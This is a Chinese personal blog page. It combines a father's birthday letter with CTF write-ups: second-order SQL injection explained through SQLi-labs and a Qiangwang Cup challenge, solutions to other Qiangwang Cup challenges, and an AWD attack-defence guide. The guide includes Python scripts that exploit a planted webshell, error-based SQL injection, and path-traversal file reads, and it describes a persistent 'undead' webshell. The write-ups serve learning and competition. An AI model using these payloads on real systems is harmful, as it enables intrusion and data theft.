Blog 搬家
Blog 搬家
欢迎关注公众号——湛卢工作室
欢迎关注公众号——湛卢工作室
古人云,三十而立,30岁对于一个男人是一个特殊的年纪。30岁的男人已从曾经的毛头小伙成为家中的主心骨,顶梁柱,要撑起整个家庭的担当。
三十岁了,感谢父母三十年来的无微不至的照顾,成为父亲后,更能理解你们的不易,儿子已经长大,请你们放心,我会扛起所有的责任,撑起一片天空。
三十岁了,感谢命运让我在茫茫人海中遇见了一生的伴侣,与你相识,是我今生最美丽的相遇。感谢你用10个月的艰辛孕育了一个新的生命,一个属于我们两的小公主,感谢你对我的支持,理解,鼓励。我会永远记得我的承诺“无论是顺境或逆境,富裕或贫穷,健康或疾病,快乐或忧愁,我都会永远爱你,不离不弃”。
三十岁了,我有了一个可爱的女儿,今天你一岁了,还记得,去年老爸去北京比赛,临走前跟还在妈妈肚子里的你说,要乖乖的等老爸回来再出来哦,你仿佛听懂了爸爸的话语,老爸回来的第二天你就来到了我的身边。曾经无数次想像你的模样,当你出生的这一刻,唤起了老爸全部的柔情,你是那么的可爱,小小的身体,朦胧的睡眼,长得真漂亮。
宝贝,你还记得么,你第一次睁开眼睛,看着这个全新的世界,看着爸爸妈妈,充满了好奇;
宝贝,你还记得么,你慢慢长大,你帅气的五官已初现轮廓,出门抱着你,人见人夸,都说你是一个小帅哥。
宝贝,你还记得么,你慢慢学会了翻身,学会了坐着,学会了爬行,最近总是想站起来,想要走路,宝贝你真棒!
宝贝,你还记得么,老爸周末回来看你,你第一次叫爸爸,吐字清晰,声音洪亮,老爸的心都快融化了。
宝贝,你还记得么,你第一次感冒,发着低烧,晚上不舒服的睡不着觉,不停哭闹,爸妈的心都要碎了,急的不知所错。
宝贝,谢谢你,你是爸妈的小棉袄,是全家的开心果,你的到来给我们带来了无限的欢乐,因为你,我们知道了爱是责任和延续,懂得了感恩父母和亲人。在这里爸爸要感谢爷爷奶奶、外公外婆他们的无私奉献,特别是外公外婆,当你还在妈妈肚子里的时候他们就悉心照料,你出生后,他们更是放弃了原本可以游山玩水的退休时光,日日夜夜陪在你左右,重新踏上带娃的漫漫征程。正是有了家人的付出,爸爸才能够全身心的投入工作,爸妈你们辛苦了。
宝贝,谢谢你让我们陪你一起感受成长的喜悦!请你现在、以后、将来,都保持健康、快乐、纯真。其余的,请交给爸爸和妈妈。我们会为你守护一个完整幸福的家;为你守护一个充满快乐的童年;为你守护每一个进步和成长!爸爸会更加努力,给你们更好的生活!
2018年7月6日
本篇原创文章首发freebuf
之前参加“强网杯”,学到了不少姿势,其中的web题three hit印象深刻,考的是二次注入的问题,这里对二次注入尝试做一个小结。
1.什么是二次注入?
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
2.二次注入的原理
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
3.二次注入的实例——SQLIlab lesson-24
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目:
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目:
如果直接尝试在登陆处尝试SQL注入,payload: admin’# 发现失败:
看一下源代码:
登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。
Ok,此时我们注册一个test’#的账号
注册用户的时候用了mysql_escape_string过滤参数:
但是数据库中还是插入了问题数据test’#
也就是说经过mysql_escape_string转义的数据存入数据库后被还原,这里做了一个测试:
回到题目,此时,test用户的原来密码为test,我们以test’#用户登陆,再进行密码修改:
我们无需填写current password即可修改test用户的密码:
我们再看一下test用户的密码:
Ok,我们看一下源代码:
Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
"UPDATE users SET PASSWORD='22' where username='test’#' and password='$curr_pass' ";
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入;
4.二次注入实例——“强网杯”three hit
题目描述:
打开看看:
尝试注入失败
注册一个账号:
登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。
根据题目的显示,猜测SQL语句
Select name from table where age=xx limit 0,1;
猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):
可以看到对age进行了is_numeric处理,可以用16进制编码绕过。
Payload
1 and 1=2#
0x3120616e6420313d3223
用0x3120616e6420313d3223作为age注册一个用户:
发现查询为空。
再试试
1 and 1=1#
0x3120616e6420313d3123
用0x3120616e6420313d3123作为age注册一个用户:
此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:
Payload:
1 order by 4#
注册age为0x31206f72646572206279203423的用户:
查询正常。
Payload:
注册age为0x31206f72646572206279203523的用户
查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:
可以看到第二列可以用来显示,接下来暴库:
Payload:
1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
可以看到 数据库名qwb,接下来爆表:
Payload:
1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='qwb'#
最终payload:
19 and 1=2 union select null,concat(flag),null,null from flag#
总结一下,二次注入发生时,虽然会对用户的输入的一些符号进行转义,但是在存入数据库的时候被还原,如果从数据库中取数据的时候直接进行利用,就会造成二次注入,因此在从数据库或文件中取数据的时候,也要进行转义或者过滤。
本篇原创文章首发合天公众号
周末参加了强网杯,虽然只做出了一些题目,收获还是蛮大的,记录一下解题过程和思路,writeup如下:
1.Welcome
题目描述:
解题思路:
首先下载文件,用winhex看看文件头为424D,判断文件为bmp文件:
尝试用notepad打开看看文件内容中是否有flag,没有发现;然后binwalk一下未发现图片中有隐藏文件;再尝试用stegsolve打开,stereogram不断设置offset,发现图片有一些异常,当offset为80时,出现flag
2.Web 签到
题目描述:
解题思路:
这题还是蛮有意思的,虽说是签到,考察的点很好
第一关:
看一下源代码:
很基础的==弱类型判断,要使得param1!=param2并且md5(param1)==md5(param1)
两边都是==弱类型判断,这里说一下==和===的区别:
要使$a == $b,只需要类型转换后 $a 等于 $b即可;要使$a === $b,则不但需要 $a 等于 $b,并且需要它们的类型也相同。可以明确的看到,==会在比较的时候进行类型转换的比较。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
绕过方式1:
param1=240610708,param2=QNKCDZO,这两个参数不相等;
md5(‘240610708’) 的结果是:0e462097431906509019562988736854
md5(‘QNKCDZO’) 的结果是:0e830400451993494058024219903391
由于是==,0e462097431906509019562988736854在比较的时候会做类型转换成数字,而0e开头代表科学计数法,所以无论0e后面是什么,0的多少次方还是0,这样就可以绕过。本地测试:
绕过方式2:
param1[]=1¶m2[]=2
这里param1和param2都是数组,值不相等,但是md5(数组)会报错,返回null,因此
md5(param1)==md5(param1),也就是null==null,也可以绕过。
综上,可以构造数据或者md5 0e开头的字符串绕过,无需md5碰撞:
第二关:
看一下源代码:
这里param1!==param2并且md5(param1)===md5(param1),两边都是===判断,和第一关的==弱类型判断不一样,此时0e462097431906509019562988736854!== 0e830400451993494058024219903391,因为这里不做类型转换,当做字符串处理。这里只能用数组绕过,md5(数组)会报错,返回null,null===null
payload:
param1[]=1¶m2[]=2
第三关:
看一下源代码:
这里两边都是强判断===,并且强制转换为string类型进行比较,想了很久,只能通过md5碰撞绕过去,早知道第三关这样,前面几关也都可以用md5碰撞绕过。首先用fastcoll生成2个md5一致的文件:
然后将这两个文件的内容通过url编码传进去即可:
Payload:
3.streamgame1
题目介绍:
题目给了一个算法和一个key:
这里没有看具体的算法,因为flag长度25位,格式为flag{},那么中间长度就是19位,而密文key也很短:
尝试直接用爆破进行测试,按照题目的算法遍历flag,和key的每一位进行比较,如果匹配,那么该字符就是flag的一部分:
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
#R=int(flag[5:-1],2)
mask = 0b1010011000100011100
#print f1.read()
for R in range(0,0b1111111111111111111):
tmpr=R
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
if i==0:
if tmp==0x55:
pass
else:
break
if i==1:
if tmp==0x38:
pass
else:
break
if i==2:
if tmp==0xF7:
pass
else:
break
if i==3:
if tmp==0x42:
pass
else:
break
if i==4:
if tmp==0xC1:
print tmpr
else:
break
从0到0b111111111111111111遍历flag,然后带入到加密算法进行计算,根据key的二进制值,比较每一位是否相等,如果第一位相等继续比较第二位,如果不相等则继续遍历,比较各4-5位左右,如果都相等,差不多可以判断遍历成功,tmpr的二进制形式就是flag
4.streamgame2
题目描述:
其实和streamgame 2没什么区别,只是长度变了:
还是遍历,只不过flag长度变成了27位,去掉“flag{}”6位,因此中间长度为21位,也就是0-0b111111111111111111111修改一下长度就可以
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
#R=int(flag[5:-1],2)
mask=0x100002
#print f1.read()
for R in range(0,0b111111111111111111111):
tmpr=R
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
if i==0:
if tmp==0xB2:
pass
else:
break
if i==1:
if tmp==0xE9:
pass
else:
break
if i==2:
if tmp==0x0E:
pass
else:
break
if i==3:
if tmp==0x13:
pass
else:
break
if i==4:
if tmp==0xA0:
print tmpr
else:
break
5.streamgame4
题目描述:
换汤不换药,虽说是1024X1024,但flag长度还是固定的21位:
因此还是遍历:
def nlfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
#R=int(flag[5:-1],2)
mask=0b110110011011001101110
#print f1.read()
for R in range(0,0b111111111111111111111):
tmpr=R
for i in range(12):
tmp=0
for j in range(8):
(R,out)=nlfsr(R,mask)
tmp=(tmp << 1)^out
if i==0:
if tmp==0xD1:
pass
else:
break
if i==1:
if tmp==0xD9:
pass
else:
break
if i==2:
if tmp==0x40:
pass
else:
break
if i==3:
if tmp==0x43:
pass
else:
break
if i==4:
if tmp==0x93:
print tmpr
else:
break
5.simplecheck
题目描述:
题目给了一个apk,运行下试试:
要输入flag,错误返回“sorry its wrong“
反编译apk,看一下关键代码:
这题需要让函数a返回true,传递的参数paramString为flag,需要我们逆出flag,算法大概的意思:
首先定义了一些数组a,b,c,d
往下看代码
if (paramString.length() != b.length) {
return false;
}
这里说明了flag的长度需要等于b数组的长度,也就是34,再往下看:
int[] arrayOfInt = new int[a.length];
arrayOfInt[0] = 0;
byte[] arrayOfByte = paramString.getBytes();
int i = arrayOfByte.length;
int j = 0;
int k = 1;
while (j < i)
{
arrayOfInt[k] = arrayOfByte[j];
k++;
j++;
}
这里new了一个新数组arrayOfInt,arrayOfInt[0] = 0;然后将flag赋值到arrayOfInt[1]- arrayOfInt[34],也就是说数组arrayOfInt,第一位为0,后面34位为flag。
再往下看关键代码:
for (int m = 0;; m++)
{
if (m >= c.length) {
break label175;
}
if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) || (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m])) {
break;
}
}
m从0到34进行遍历,要使得if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) | (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]))为假 | |||
由于if里面是 | ,也就是0 | 0才为0,转换一下这个条件就是: |
a[m] == b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]
且
a[(m + 1)] == b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]
明白了关键函数,就可以尝试利用爆破区爆破flag:
a= [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b= [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]
c=[38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]
d=[0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]
flag=""
for m in range(1,34):
for f1 in range(32,127):
if((a[m] == b[m-1] * f1 * f1 + c[m-1] * f1 + d[m-1]) and (a[m] == b[m] * f1 * f1 + c[m] * f1 + d[m])):
flag+=chr(f1)
break
else:
pass
#print len(c)
print flag+"}"
本篇原创文章首发安全客
前段时间参加了某次CTF线下赛,大多数比赛都是采用主流CMS系统,比如wordpress、pgpcms、dedecms等等,如果对主流CMS漏洞比较熟悉的话可以迅速定位漏洞,发起攻击。而这次比赛采用了小众自写CMS的方式,注重现场快速代码审计。本文将介绍CTF线下赛AWD模式的一些常见套路,以及对tinyblog的代码审计思路。
一、预留后门
比赛开始,一般比赛方为了比赛的观赏性,一般都会预留后门,这样场上可以迅速打起来,展示画面比较好看,不然过了好几轮都没动静会比较尴尬。迅速找后门的套路一般是将比赛源代码首先备份下来,备份很关键,后面可能在修复漏洞或者被其他队伍攻击的时候服务会挂掉,没有备份很难恢复过来。利用webshell检测工具D盾、河马等对备份进行扫描,一般都可以发现预留后门:
查看一下预留后门内容:
虽然做了变形,但还是可以明显看出来是一句话木马,密码:abcde10db05bd4f6a24c94d7edde441d18545,尝试用菜刀去连:
在根目录下就可以得到flag内容。所以发现后门后需要迅速将自己的后门删掉,同时利用预留后门迅速发起第一波攻击,用菜刀手工连接显然是来不及的,因此需要自动化的攻击脚本:
1. def backdoor(host):
2. r = requests.post(url="http://%s/Upload/index.php"%host,data={"abcde10db05bd4f6a24c94d7edde441d18545":"print('>>>'.file_get_contents('/flag').'<<<');"})
3. flags = re.findall(r'>>>(.+?)<<<',r.content)
4. if flags:
5. return flags[0]
6. else:
7. return "error pwn!"
二、后台SQL注入
接下来,对各种用户交互的地方进行渗透测试,发现在用户登录处存在SQL注入漏洞,在登录名出加’进行测试:
发现报错:
估计存在SQL注入的可能性比较大,审计一下源代码,在Model/Admin.php第16行发现SQL拼接,并且没有任何防护措施:
因此这里可以直接用SQLmap跑:
然后利用–sql-shell选项,执行 select load_file(‘/flag’)即可获得flag:
这里注意一下sqlmap的缓存机制,因为flag每一轮都会变化,如果新一轮继续直接跑的话获得的flag仍然是上一轮的,因此每轮还需要增加–flush-session参数。
当然也可以直接现场编写payload:
1. def sqli(host):
2. r = requests.post(url="http://%s/?p=admin&a=login"%host,data={"email":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","password":"pwd123"})
3. flags = re.findall(r'~(.+?)~',r.content)
4. if flags:
5. return flags[0]
6. else:
7. return "error pwn!"
修复的话,需要将Admin.php中出问题的代码用预编译的方式进行修复,即:
1. //fix by tinyfisher
2. $oStmt = $this->oDb->prepare("SELECT email, password FROM Admins WHERE email = ? LIMIT 1");
3. $oStmt->execute($sEmail);
三、文件包含
这个漏洞利用黑盒测试是很难测出来,必须通过代码审计才能发现,这里我主要用的工具是seay的源代码审计工具,首先将备份文件自动审计一下:
这里发现漏洞并不多,可以一个一个跟进去看一下,问题出现在Engine/Router.php的第21行,直接include $sTemplatePath,而:
$sTemplatePath = ROOT_PATH . ‘Template/’ . $aParams[‘template’];
所以可以通过控制$aParams[‘template’]来达到任意文件读取。
我们来全局查找一下这个参数:
发现在index.php的33行找到该参数
根据’template’ => (!empty($_GET[‘t’]) ? $_GET[‘t’] : ‘pc’),get 参数中如果t为空,则t默认值为pc,因此我们可以控制t,进而控制$aParams[‘template’],来达到文件包含的效果,payload:/?t=../../../../../../../flag
自动攻击脚本:
1. def include(host):
2. r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
3. flags = re.findall(r'^(.+?)<',r.content)
4. if flags:
5. return flags[0]
6. else:
7. return "error pwn!"
修复的话,过滤掉“.”和“/”来快速达到修复效果: $sTemplatePath = str_replace(array(“.”,”\/”), “”, $sTemplatePath);
四、权限维持
对于上面的漏洞,如果其他队伍修复了就没有办法再次利用,因此需要进行权限维持,不然后期就再也得不到分了。常见的权限维持手段是“不死马”,也就是上传一个php文件不断生成webshell:
访问这个php文件之后,会在目录下生成一个.config.php的一句话木马,之所以叫.config.php一方面是隐藏文件,另一方面config这个名字容易掩护自己。里面的内容之所以做了变形处理,也是为了防止其他选手“借刀杀人”,利用自己的shell去攻击其他队伍。
php中ignore_user_abort() 可以实现当客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行,可实现所谓的计划任务功能与持续进程,只需要开启执行脚本,除非 apache等服务器重启或有脚本有输出,该PHP脚本将一直处于执行的状态,因此就可以一直生成一句话木马,用来维持权限。
五、借刀杀人
比赛当中如果一直被高手打,而又找不到漏洞所在,有没有其他手段可以缩小差距?我们可以监控流量和日志来找到攻击payload,然后利用这个payload攻击其他队伍。比如发现自己被种上了不死马,没有办法杀掉怎么办?那就继续将这个不死马发扬光大,一般攻击者上传的文件路径和内容都是一致的,你被种了不死马意味着在其他队伍的相同位置下也存在不死马,所以直接去利用他得分吧。
流量监控这块,可以在靶机上抓一下流量:
tcpdump –s 0 –w flow.pcap port xxxx
然后在自己的机器上去分析flow.pcap这个文件,一般就可以看到其他队伍的攻击payload,web和pwn都可以使用这个方法。
日志监控这块主要是为了网站访问记录,便于后续的问题排查,就是把各种字段的数据记录下来,包括请求的文件、时间、IP、访问的文件、POST的内容等等。
1. date_default_timezone_set('Asia/Shanghai');
2. $ip = $_SERVER["REMOTE_ADDR"]; //访问IP
3. $filename = $_SERVER['PHP_SELF']; //访问的文件
4. $parameter = $_SERVER["QUERY_STRING"]; //查询的字符串
5. $method = $_SERVER['REQUEST_METHOD']; //请求方法
6. ...
7. $time = date('Y-m-d H:i:s',time()); //请求时间
8. $post = file_get_contents("php://input",'r'); //接收POST数据
9. $others = '**********************************************************************';
10. $logadd = '访问时间:'.$time.'访问IP:'.$ip.'请求方法:'.$method.' '.'访问链接:'.$filename.'?'.$parameter."\r\n";...
11. //记录写入
12. $fh = fopen("log.txt", "a");
13. fwrite($fh, $logadd);
14. fwrite($fh,print_r($_COOKIE, true)."\r\n");
15. fwrite($fh,$others."\r\n");
16. fclose($fh);
附:
比赛源代码下载
链接:https://pan.baidu.com/s/1bqZbLi3 密码:fagg